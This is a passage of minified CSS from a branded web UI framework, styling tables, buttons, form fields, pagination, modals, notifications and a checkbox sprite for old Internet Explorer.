0.95)}.table-hover>tbody>tr:hover>th,.table-hover>tbody>tr:hover>td{color:#262626;background-color:#e0e0e0;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.table-striped>tbody>tr:nth-child(odd)>th,.table-striped>tbody>tr:nth-child(odd)>td,.table-striped>tbody>tr.odd>th,.table-striped>tbody>tr.odd>td{background-color:#f2f2f2;color:#383838}.table-striped.table-hover>tbody>tr:nth-child(odd):hover>th,.table-striped.table-hover>tbody>tr:nth-child(odd):hover>td{background-color:#e0e0e0;color:#262626}.table>thead>tr.positive>th,.table>thead>tr.positive>td,.table>thead>tr>th.positive,.table>thead>tr>td.positive,.table>tbody>tr.positive>th,.table>tbody>tr.positive>td,.table>tbody>tr>th.positive,.table>tbody>tr>td.positive,.table>tfoot>tr.positive>th,.table>tfoot>tr.positive>td,.table>tfoot>tr>th.positive,.table>tfoot>tr>td.positive{background:#f7fbf4;color:#5b991e}.table-hover>tbody>tr:hover.positive>th,.table-hover>tbody>tr:hover.positive>td,.table-hover>tbody>tr:hover>th.positive,.table-hover>tbody>tr:hover>td.positive{color:#50871a;background-color:#e1efd3}.table>thead>tr.warning>th,.table>thead>tr.warning>td,.table>thead>tr>th.warning,.table>thead>tr>td.warning,.table>tbody>tr.warning>th,.table>tbody>tr.warning>td,.table>tbody>tr>th.warning,.table>tbody>tr>td.warning,.table>tfoot>tr.warning>th,.table>tfoot>tr.warning>td,.table>tfoot>tr>th.warning,.table>tfoot>tr>td.warning{background:#fdfaf5;color:#c19932}.table-hover>tbody>tr:hover.warning>th,.table-hover>tbody>tr:hover.warning>td,.table-hover>tbody>tr:hover>th.warning,.table-hover>tbody>tr:hover>td.warning{color:#af8b2d;background-color:#f7eed7}.table>thead>tr.negative>th,.table>thead>tr.negative>td,.table>thead>tr>th.negative,.table>thead>tr>td.negative,.table>tbody>tr.negative>th,.table>tbody>tr.negative>td,.table>tbody>tr>th.negative,.table>tbody>tr>td.negative,.table>tfoot>tr.negative>th,.table>tfoot>tr.negative>td,.table>tfoot>tr>th.negative,.table>tfoot>tr>td.negative{background:#fdf2f2;color:#bf0000}.table-hover>tbody>tr:hover.negative>th,.table-hover>tbody>tr:hover.negative>td,.table-hover>tbody>tr:hover>th.negative,.table-hover>tbody>tr:hover>td.negative{color:#ad0000;background-color:#f7cccc}.table>thead>tr.brand>th,.table>thead>tr.brand>td,.table>thead>tr>th.brand,.table>thead>tr>td.brand,.table>tbody>tr.brand>th,.table>tbody>tr.brand>td,.table>tbody>tr>th.brand,.table>tbody>tr>td.brand,.table>tfoot>tr.brand>th,.table>tfoot>tr.brand>td,.table>tfoot>tr>th.brand,.table>tfoot>tr>td.brand{background:#e20074;color:#fff}.table-hover>tbody>tr:hover.brand>th,.table-hover>tbody>tr:hover.brand>td,.table-hover>tbody>tr:hover>th.brand,.table-hover>tbody>tr:hover>td.brand{color:#ededed;background-color:#d0006a}.table>thead>tr.inactive>th,.table>thead>tr.inactive>td,.table>thead>tr>th.inactive,.table>thead>tr>td.inactive,.table>tbody>tr.inactive>th,.table>tbody>tr.inactive>td,.table>tbody>tr>th.inactive,.table>tbody>tr>td.inactive,.table>tfoot>tr.inactive>th,.table>tfoot>tr.inactive>td,.table>tfoot>tr>th.inactive,.table>tfoot>tr>td.inactive{background:transparent;color:#e5e5e5}.table-small>thead>tr>th,.table-small>thead>tr>td,.table-small>tbody>tr>th,.table-small>tbody>tr>td,.table-small>tfoot>tr>th,.table-small>tfoot>tr>td{font-size:14px;padding:5px 23px}.table-small>caption{font-size:18px}.btn{display:inline-block;text-align:center;vertical-align:middle;cursor:pointer;border:1px solid transparent;border-radius:4px;font-size:18px;line-height:1.25;padding:6px 23px;font-weight:normal;white-space:nowrap;background-image:none;text-decoration:none;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.btn>.icon{padding-right:12px}.btn>.icon-right{padding-left:12px;padding-right:0}.btn.focus,.btn:focus{text-decoration:none;outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.hover,.btn:hover{text-decoration:none;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.btn.disabled,.btn[disabled]{cursor:not-allowed;background:#f9f9f9;border-color:#d5d5d5;color:#b7b7b7}.btn-clean,.btn-default{background-color:#ededed;border-color:#b2b2b2;color:#383838}.hover.btn-clean,.btn-clean:hover,.btn-default.hover,.btn-default:hover{background-color:#dbdbdb;border-color:#a0a0a0;color:#383838}.active.btn-clean,.btn-clean:active,.btn-default.active,.btn-default:active{background-color:#c6c6c6;border-color:#8b8b8b;color:#383838}.disabled.btn-clean,.disabled.focus.btn-clean,.disabled.btn-clean:focus,.disabled.hover.btn-clean,.disabled.btn-clean:hover,[disabled].btn-clean,[disabled].focus.btn-clean,[disabled].btn-clean:focus,[disabled].hover.btn-clean,[disabled].btn-clean:hover,.btn-default.disabled,.btn-default.disabled.focus,.btn-default.disabled:focus,.btn-default.disabled.hover,.btn-default.disabled:hover,.btn-default[disabled],.btn-default[disabled].focus,.btn-default[disabled]:focus,.btn-default[disabled].hover,.btn-default[disabled]:hover{background:#f9f9f9;border-color:#d5d5d5;color:#b7b7b7}.btn-brand{background-color:#e20074;border-color:#bb0060;color:#fff}.btn-brand.hover,.btn-brand:hover{background-color:#d0006a;border-color:#a90056;color:#fff}.btn-brand.active,.btn-brand:active{background-color:#bb0060;border-color:#94004c;color:#fff}.btn-brand.disabled,.btn-brand.disabled.focus,.btn-brand.disabled:focus,.btn-brand.disabled.hover,.btn-brand.disabled:hover,.btn-brand[disabled],.btn-brand[disabled].focus,.btn-brand[disabled]:focus,.btn-brand[disabled].hover,.btn-brand[disabled]:hover{background:#f9f9f9;border-color:#d5d5d5;color:#b7b7b7}.btn-positive{background-color:#6bb324;border-color:#548c1c;color:#383838}.btn-positive.hover,.btn-positive:hover{background-color:#60a120;border-color:#497a18;color:#383838}.btn-positive.active,.btn-positive:active{background-color:#548c1c;border-color:#3d6514;color:#383838}.btn-positive.disabled,.btn-positive.disabled.focus,.btn-positive.disabled:focus,.btn-positive.disabled.hover,.btn-positive.disabled:hover,.btn-positive[disabled],.btn-positive[disabled].focus,.btn-positive[disabled]:focus,.btn-positive[disabled].hover,.btn-positive[disabled]:hover{background:#f9f9f9;border-color:#d5d5d5;color:#b7b7b7}.btn-negative{background-color:#d90000;border-color:#b20000;color:#fff}.btn-negative.hover,.btn-negative:hover{background-color:#c70000;border-color:#a00000;color:#fff}.btn-negative.active,.btn-negative:active{background-color:#b20000;border-color:darkred;color:#fff}.btn-negative.disabled,.btn-negative.disabled.focus,.btn-negative.disabled:focus,.btn-negative.disabled.hover,.btn-negative.disabled:hover,.btn-negative[disabled],.btn-negative[disabled].focus,.btn-negative[disabled]:focus,.btn-negative[disabled].hover,.btn-negative[disabled]:hover{background:#f9f9f9;border-color:#d5d5d5;color:#b7b7b7}.btn-clean{background-color:transparent}.btn-clean,.btn-clean.focus,.btn-clean:focus,.btn-clean.hover,.btn-clean:hover,.btn-clean.active,.btn-clean:active{border-color:transparent}.btn-small{font-size:15px;padding:5px 23px}.btn-large{font-size:21px;padding:10px 23px}.btn-icon{padding:6px 11px}.btn-icon .icon{padding:0}.btn-minimal{padding:6px 11px}.btn-block{width:100%}.btn-sectioned{display:block}.btn-sectioned:before,.btn-sectioned:after{content:' ';display:table}.btn-sectioned:after{clear:both}.btn-sectioned>.btn,.btn-sectioned>.pager,.btn-sectioned>.pager+.pager{margin-left:-1px;margin-right:0;float:left;position:relative}.btn-sectioned>.btn:hover,.btn-sectioned>.pager:hover,.btn-sectioned>.pager+.pager:hover{z-index:2}.btn-sectioned>.btn:focus,.btn-sectioned>.btn:active,.btn-sectioned>.pager:focus,.btn-sectioned>.pager:active,.btn-sectioned>.pager+.pager:focus,.btn-sectioned>.pager+.pager:active{z-index:3}.btn-sectioned>.btn:first-child,.btn-sectioned>.pager:first-child,.btn-sectioned>.pager+.pager:first-child{margin-left:0}.btn-sectioned>.btn:not(:last-child),.btn-sectioned>.pager:not(:last-child),.btn-sectioned>.pager+.pager:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.btn-sectioned>.btn:not(:first-child),.btn-sectioned>.pager:not(:first-child),.btn-sectioned>.pager+.pager:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}label{display:inline-block}.form-input{background-color:#fff;border:1px solid #b2b2b2;border-radius:4px;color:#383838;display:block;font-size:18px;line-height:1.25;padding:6px 11px;width:100%;-webkit-appearance:none;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.form-input::-webkit-input-placeholder{color:#757575}.form-input:-moz-placeholder{color:#757575}.form-input::-moz-placeholder{color:#757575}.form-input:-ms-input-placeholder{color:#757575}.form-input.hover,.form-input:hover{background-color:#ededed;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.form-input.focus,.form-input:focus{background-color:#fff;outline:0}.form-input.active,.form-input:active{background-color:#d8d8d8}.form-input.disabled,.form-input.readonly,.form-input[disabled],.form-input[readonly]{background-color:#fff;border-color:#d5d5d5;color:#b7b7b7;cursor:not-allowed;resize:none}.form-input.disabled::-webkit-input-placeholder,.form-input.readonly::-webkit-input-placeholder,.form-input[disabled]::-webkit-input-placeholder,.form-input[readonly]::-webkit-input-placeholder{color:#f4f4f4}.form-input.disabled:-moz-placeholder,.form-input.readonly:-moz-placeholder,.form-input[disabled]:-moz-placeholder,.form-input[readonly]:-moz-placeholder{color:#f4f4f4}.form-input.disabled::-moz-placeholder,.form-input.readonly::-moz-placeholder,.form-input[disabled]::-moz-placeholder,.form-input[readonly]::-moz-placeholder{color:#f4f4f4}.form-input.disabled:-ms-input-placeholder,.form-input.readonly:-ms-input-placeholder,.form-input[disabled]:-ms-input-placeholder,.form-input[readonly]:-ms-input-placeholder{color:#f4f4f4}textarea.form-input{min-height:36px}.decoration-positive .form-input{background-color:#f7fbf4;border-color:#548c1c}.decoration-positive .form-input.hover,.decoration-positive .form-input:hover{background-color:#f0f7e9;border-color:#497a18}.decoration-positive .form-input.focus,.decoration-positive .form-input:focus{background-color:#fff}.decoration-positive .form-input.active,.decoration-positive .form-input:active{background-color:#e8f3de;border-color:#3d6514}.decoration-warning .form-input{background-color:#fdfaf5;border-color:#b48e2f}.decoration-warning .form-input.hover,.decoration-warning .form-input:hover{background-color:#fbf6eb;border-color:#a27f2a}.decoration-warning .form-input.focus,.decoration-warning .form-input:focus{background-color:#fff}.decoration-warning .form-input.active,.decoration-warning .form-input:active{background-color:#f9f2e1;border-color:#8d6f25}.decoration-negative .form-input{background-color:#fdf2f2;border-color:#b20000}.decoration-negative .form-input.hover,.decoration-negative .form-input:hover{background-color:#fbe5e5;border-color:#a00000}.decoration-negative .form-input.focus,.decoration-negative .form-input:focus{background-color:#fff}.decoration-negative .form-input.active,.decoration-negative .form-input:active{background-color:#f9d8d8;border-color:darkred}.form-input-set{display:block;margin-bottom:12px}.form-input-set>label{font-size:15px}.form-radio,.form-checkbox{width:24px;height:24px}.form-radio-set,.form-checkbox-set{display:block;margin-bottom:12px}.form-radio-set label,.form-checkbox-set label{display:block;padding-left:36px;cursor:pointer;line-height:24px}.form-radio-set.disabled label,.form-checkbox-set.disabled label{cursor:not-allowed;color:#b7b7b7}.form-radio-set .form-radio,.form-checkbox-set .form-checkbox{vertical-align:middle;float:left;margin-left:-36px;margin-right:12px}.form-fieldset{border:0;padding:0 12px;margin:0;min-width:0}.form-fieldset>legend{color:#757575;display:block;width:100%;box-sizing:content-box;padding:0 12px;margin:0 -12px;padding-bottom:6.24px;border-bottom:1px solid #b2b2b2}.form-fieldset>legend+*{-webkit-margin-top-collapse:separate;margin-top:12px}.form-select{background-color:#ededed;border:1px solid #b2b2b2;border-radius:4px;color:#383838;display:block;font-size:18px;line-height:1.25;padding:6px 11px;width:100%}.form-select option{background-color:#fff}.form-select.focus,.form-select:focus{background-color:#ededed;outline:0}.form-select.hover,.form-select:hover{background-color:#dbdbdb}.form-select.active,.form-select:active{background-color:#c6c6c6}.form-select.disabled,.form-select.readonly,.form-select[disabled],.form-select[readonly]{background-color:#f7f7f7;border-color:#d5d5d5;color:#b7b7b7;cursor:not-allowed;resize:none}.form-select.disabled::-webkit-input-placeholder,.form-select.readonly::-webkit-input-placeholder,.form-select[disabled]::-webkit-input-placeholder,.form-select[readonly]::-webkit-input-placeholder{color:#f4f4f4}.form-select.disabled:-moz-placeholder,.form-select.readonly:-moz-placeholder,.form-select[disabled]:-moz-placeholder,.form-select[readonly]:-moz-placeholder{color:#f4f4f4}.form-select.disabled::-moz-placeholder,.form-select.readonly::-moz-placeholder,.form-select[disabled]::-moz-placeholder,.form-select[readonly]::-moz-placeholder{color:#f4f4f4}.form-select.disabled:-ms-input-placeholder,.form-select.readonly:-ms-input-placeholder,.form-select[disabled]:-ms-input-placeholder,.form-select[readonly]:-ms-input-placeholder{color:#f4f4f4}.fade{opacity:0;-webkit-transition:opacity .3s ease-out;-ms-transition:opacity .3s ease-out;-moz-transition:opacity .3s ease-out;-o-transition:opacity .3s ease-out;transition:opacity .3s ease-out}.fade.in{opacity:1}.content-list{list-style:none;margin:0;padding:0}.content-list>li,.content-list>.content-list-item{border-bottom:1px solid #dcdcdc}.content-list-item{position:relative;display:block;padding:12px;padding-top:13px}.content-list-item.selected{color:#e20074}a.content-list-item{-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);color:inherit;cursor:pointer}a.content-list-item.focus,a.content-list-item:focus{text-decoration:none}a.content-list-item.hover,a.content-list-item:hover{text-decoration:none;background-color:#ededed;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}a.content-list-item.active,a.content-list-item:active{background-color:#d8d8d8}.content-list-item-brand{color:#fff;background-color:#e20074}a.content-list-item-brand{color:#fff}a.content-list-item-brand.hover,a.content-list-item-brand:hover{background-color:#d0006a}a.content-list-item-brand.active,a.content-list-item-brand:active{background-color:#bb0060}.breadcrumb{padding:0;margin:0;list-style:none}.breadcrumb>li{display:inline-block}.breadcrumb>li>a{color:#757575}.breadcrumb>li+li:before{padding:0 1px;content:'\\bb\\00a0';color:#757575}.breadcrumb>.active{color:#e20074}.pagination{display:inline-block;padding-left:0;margin:0 -3px}.pagination>li{display:inline}.pagination>li>a{float:left;display:block;width:12px;height:12px;margin:0 3px;border-radius:50%;background-color:#fff;border:1px solid #b2b2b2;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.pagination>li>a.focus,.pagination>li>a:focus{background-color:#c9c9c9;border-color:#7c7c7c;outline:0}.pagination>li>a.hover,.pagination>li>a:hover{background-color:#ededed;border-color:#a0a0a0;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.pagination>li>a.active,.pagination>li>a:active{background-color:#d8d8d8;border-color:#8b8b8b}.pagination>.active>a{background-color:#e20074;border-color:#bb0060;overflow:hidden}.pagination>.active>a:before{content:url(\"data:image/gif;base64,R0lGODdhDAAMAKUiAOYgheYhhuYihuYih+Yjh+YjiOYkh+YkiOYliOYlieYmiOYmieYniecniecniuYoiucoiecoiuYpiucpiucqiucqi+cri+csjOctjOcujecvjecvjucwjugxj+gyj+g0kOg1kOg1kf///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////ywAAAAADAAMAAAGXUAE4lAYBACAAOFwEB4IRqSS6YQGroKls3gNZJsJptWrXSzEAnKT8XgQ3oOvgiGpVN54A4JuuVzwTXMPFhgaGwVMCQ0QERQYHB4eiQ0RExQWGR0fIIkOlRWYHiAhQQA7\");line-height:12px;vertical-align:super}.pagination>.active>a.focus,.pagination>.active>a:focus{background-color:#ac0058;border-color:#850044}.pagination>.active>a.hover,.pagination>.active>a:hover{background-color:#d0006a;border-color:#a90056}.pagination>.active>a.active,.pagination>.active>a:active{background-color:#bb0060;border-color:#94004c}.pagination>.disabled>a,.pagination>.disabled>a:hover,.pagination>.disabled>a:focus,.pagination>.disabled>a:active{background-color:#fff;border-color:#d8d8d8;cursor:not-allowed}.pagination-small>li>a,.pagination-small>li>span{width:8px;height:8px;margin:0 1.5px}.media{padding:5px 12px 4px}.media-body,.media-left,.media-right{display:table-cell;vertical-align:middle;height:38px}.media-left{padding-right:12px}.media-right{padding-left:12px}.media-body{width:100%;padding:5px 0}.media-top{vertical-align:top}.media-bottom{vertical-align:bottom}.media-heading{margin:0;padding:0}.media-hint{margin:0;padding:0;color:#757575;font-size:15px}.badge{background-color:#ededed;border-radius:3px;color:#383838;display:inline-block;font-size:15px;font-weight:700;line-height:1;min-width:20px;padding:3px 6px 2px;text-align:center;vertical-align:baseline;white-space:nowrap}.badge:empty{display:none}.content-list-item>.badge{float:right}.badge-positive{background-color:#6bb324}.badge-warning{background-color:#dbad39}.badge-negative{background-color:#d90000;color:#fff}.badge-function{background-color:#0ca1dc;color:#fff}.badge-brand{background-color:#e20074;color:#fff}.badge-dark{background-color:#383838;color:#fff}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;left:0;width:100%;height:100%;display:none;overflow-x:hidden;overflow-y:auto;-webkit-overflow-scrolling:touch}.modal:empty{display:none}.modal.fade .modal-dialog{-webkit-transform:translate(0, -25%);-ms-transform:translate(0, -25%);-moz-transform:translate(0, -25%);-o-transform:translate(0, -25%);transform:translate(0, -25%);-webkit-transition:transform 0.3s ease-out;-ms-transition:transform 0.3s ease-out;-moz-transition:transform 0.3s ease-out;-o-transition:transform 0.3s ease-out;transition:transform 0.3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0, 0);-ms-transform:translate(0, 0);-moz-transform:translate(0, 0);-o-transform:translate(0, 0);transform:translate(0, 0)}.modal-open.modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;z-index:6500;margin:12px}.modal-content{position:relative;background-color:#fff;border-radius:6px;padding:12px;-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.75);box-shadow:0 1px 3px rgba(0,0,0,0.75);background-clip:padding-box;outline:0}.modal-backdrop{position:absolute;top:0;right:0;left:0;z-index:6000;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.in{opacity:0.8}.modal-header{padding:0;border-bottom:1px solid #b2b2b2}.modal-title{text-align:center}.modal-body{position:relative;padding:12px 0}.modal-footer{text-align:right;padding:12px 0 0;border-top:1px solid #b2b2b2}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width: 640px){.modal-dialog{width:600px;margin:24px auto}.modal-small{width:480px}}@media (min-width: 1024px){.modal-large{width:840px}}.notification{background-color:#fefefe;border:1px solid #b2b2b2;border-radius:6px;display:block;margin-bottom:18px;padding:16px 24px 22px;text-align:left;font-size:15px}.notification:before,.notification:after{content:' ';display:table}.notification:after{clear:both}.notification:empty{display:none}.notification-dismissible{padding-right:48px}.notification-dismissible>.close{margin-right:-36px;margin-top:-7px;margin-left:18px}.notification-dismissible>.close.focus,.notification-dismissible>.close:focus{color:#020202;outline:0}.notification-dismissible>.close.hover,.notification-dismissible>.close:hover{color:#262626}.notification-dismissible>.close.active,.notification-dismissible>.close:active{color:#111}.notification-content,.notification-left,.notification-right{overflow:hidden;zoom:1}.notification-content>p{padding:0;margin:0}.notification-left{float:left;margin-right:12px}.notification-right{float:right;margin-left:12px}.notification-heading{font-size:24px;font-weight:400;padding:0;margin:0}.notification-overlay{box-shadow:0 1px 4px rgba(0,0,0,0.45)}.notification-positive{background-color:#f7fbf4;border-color:#548c1c;color:false}.notification-positive>.notification-badge{background-color:false;color:#f7fbf4}.notification-positive>.close.focus,.notification-positive>.close:focus{color:false}.notification-positive>.close.hover,.notification-positive>.close:hover{color:false}.notification-positive>.close.active,.notification-positive>.close:active{color:false}.notification-warning{background-color:#fdfaf5;border-color:#b48e2f;color:false}.notification-warning>.notification-badge{background-color:false;color:#fdfaf5}.notification-warning>.close.focus,.notification-warning>.close:focus{color:false}.notification-warning>.close.hover,.notification-warning>.close:hover{color:false}.notification-warning>.close.active,.notification-warning>.close:active{color:false}.notification-negative{background-color:#fdf2f2;border-color:#b20000;color:false}.notification-negative>.notification-badge{background-color:false;color:#fdf2f2}.notification-negative>.close.focus,.notification-negative>.close:focus{color:false}.notification-negative>.close.hover,.notification-negative>.close:hover{color:false}.notification-negative>.close.active,.notification-negative>.close:active{color:false}.notification-badge{float:right;margin-top:-5px;margin-right:-12px;background-color:#383838;color:#fff}.notification .icon-frame{padding:7px 0 0}.notification .icon-frame .icon-large{font-size:42px}.pager{border-radius:3em;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);background:#fff;background-image:none;border:1px solid #b2b2b2;color:#383838;cursor:pointer;display:inline-block;font-weight:normal;font-size:18px;line-height:1.25;padding:6px 23px;text-align:center;vertical-align:bottom;white-space:nowrap;text-decoration:none}.pager.right{float:right}.pager.left{float:left}.pager>.icon{padding-right:12px;margin-left:-6px;color:#000}.pager>.icon.right{padding-left:12px;padding-right:0;margin-left:0;margin-right:-6px}.pager.focus,.pager:focus{text-decoration:none;outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.pager.hover,.pager:hover{text-decoration:none;background-color:#ededed;border-color:#a0a0a0;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.pager.active,.pager:active{text-decoration:none;background-color:#d8d8d8;border-color:#8b8b8b}.pager.disabled,.pager[disabled]{cursor:not-allowed;background:#f9f9f9;border-color:#d5d5d5;color:#b7b7b7}.pager-small{font-size:15px;padding:5px 23px}.pager-large{font-size:21px;padding:10px 23px}.pager-icon{padding:6px 11px;padding-left:0;padding-right:0;width:36px}.pager-icon.pager-small{width:32px}.pager-icon.pager-large{width:48px;height:48px}.pager-icon.pager-large .icon{font-size:36px;padding:1px 0 0 2px}.pager-icon .icon{padding:0;margin-left:0;margin-right:0}.pager+.pager{margin-left:24px}.pager-minimal{padding:6px 11px}.pager-block{width:100%}.pager-clean{border-color:transparent}.pager-clean.hover,.pager-clean:hover{text-decoration:none;border-color:transparent}.pager-clean.active,.pager-clean:active{text-decoration:none;border-color:transparent}.close{color:inherit;border:0;padding:0;cursor:pointer;font-size:24px;line-height:1;font-family:'TeleIconUi';float:right;background:none;margin-top:-1px}.form-checkbox-js{width:22px;height:22px;font-size:24px;padding:0;border:0;background-color:#ededed;border-radius:4px;font-family:'TeleIconUi';line-height:1px;position:relative;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-o-user-select:none;user-select:none;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.form-checkbox-js.focus,.form-checkbox-js:focus{outline:0}.form-checkbox-js.focus{background-color:#b7b7b7}.form-checkbox-js.hover,.form-checkbox-js:hover{background-color:#dbdbdb;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.form-checkbox-js.active,.form-checkbox-js:active{background-color:#c6c6c6}.form-checkbox-js>.border{color:#b2b2b2;position:absolute;top:10.5px;left:-1px}.form-checkbox-js>.border:before{content:'A'}.form-checkbox-js>.check{font-size:24px;position:absolute;top:10.5px;left:-1px;color:#6bb324}.form-checkbox-js>.check:before{content:''}.form-checkbox-js.checked>.check:before{content:'B'}fieldset[disabled] .form-checkbox-js,.form-checkbox-js[disabled],.form-checkbox-js.disabled{cursor:not-allowed;background-color:#f9f9f9}fieldset[disabled] .form-checkbox-js>.border:before,.form-checkbox-js[disabled]>.border:before,.form-checkbox-js.disabled>.border:before{color:#d5d5d5}fieldset[disabled] .form-checkbox-js>.check:before,.form-checkbox-js[disabled]>.check:before,.form-checkbox-js.disabled>.check:before{color:#b7b7b7}.form-checkbox-set .form-checkbox-js{vertical-align:middle;float:left;margin-left:-36px;margin-right:12px}.lte-ie8 .form-checkbox-js{background-color:transparent !important;background-repeat:no-repeat;background-image:url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHgAAAAYCAYAAAAxkDmIAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDozNzdDRDJBNDk3RTFFMzExODA1Q0VBNjZFMjk1MzI2MiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDoxRDA0Mjc4MUUxQTcxMUUzOUIxMEY2RkFFQTZEM0FCMSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDoxRDA0Mjc4MEUxQTcxMUUzOUIxMEY2RkFFQTZEM0FCMSIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1LjEgV2luZG93cyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM4N0NEMkE0OTdFMUUzMTE4MDVDRUE2NkUyOTUzMjYyIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM3N0NEMkE0OTdFMUUzMTE4MDVDRUE2NkUyOTUzMjYyIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+HYcNygAAAP5JREFUeNrsmjFqwzAAReWQsRDImgNk8wlaqiUn6pqxa27SGxQ6lR7BNzAEhAWCroF8geZ2SD6C8B58Izw8Yx7ePCzLEsROO2nP7XwLs/atveWc53bP4k8pWf2lFKs/xmj11/OgwHsdfrRtuC9Ze1Hki9OvyFa/Ilv9imz1r3V5N8hDc1b3BX8/fw18CD4O7QXwd/LXwBvjA56CF/z/+FcBHhoCExgIDAQGAgOBgcBAYAIDgYHAQGAgMBAY/g5cjP5f/H39NfCX8QGf+Pv66x8dR+01eH76OrYz/k7++gVP2qh9aOc7iM/NNeacJ6c/pWT1l1Ks/hij1V/dVwEGAJDahM+tVIFSAAAAAElFTkSuQmCC\")}.lte-ie8 .form-checkbox-js.focus,.lte-ie8 .form-checkbox-js:focus{background-position:-72px 0}.lte-ie8 .form-checkbox-js.hover,.lte-ie8 .form-checkbox-js:hover{background-position:-24px 0}.lte-ie8 .form-checkbox-js.active,.lte-ie8 .form-checkbox-js:active{background-position:-47px 1px}.lte-ie8 .form-checkbox-js[disabled],.lte-ie8 .form-checkbox-js.disabled{background-position:-96px 